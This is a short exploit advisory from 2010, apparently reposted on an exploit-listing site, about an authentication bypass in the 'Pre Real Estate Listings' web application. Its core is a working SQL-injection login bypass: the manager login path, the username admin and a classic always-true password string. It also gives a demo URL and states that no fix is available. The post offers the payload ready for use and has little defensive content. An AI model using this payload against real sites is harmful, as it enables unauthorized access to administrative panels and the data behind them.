Pre Real Estate Listings Authentication Bypass Vulnerability

2010-11-14 09:16:22

In The Name Of GOD
[+] Exploit Title: Pre Real Estate Listings SQL Bypass Vulnerability
[+] Date: 2010-11-14
[+] Author : Cru3l.b0y
[+] Software Link: http://www.preproject.com/prereal.asp
[+] Price : 55.00$
[+] Contact : [email protected]
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit :

go to /manager/index.php
Username : admin
Password : 1'or'1'='1

[+] Demo: http://www.site.com/int/manager/index.php

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.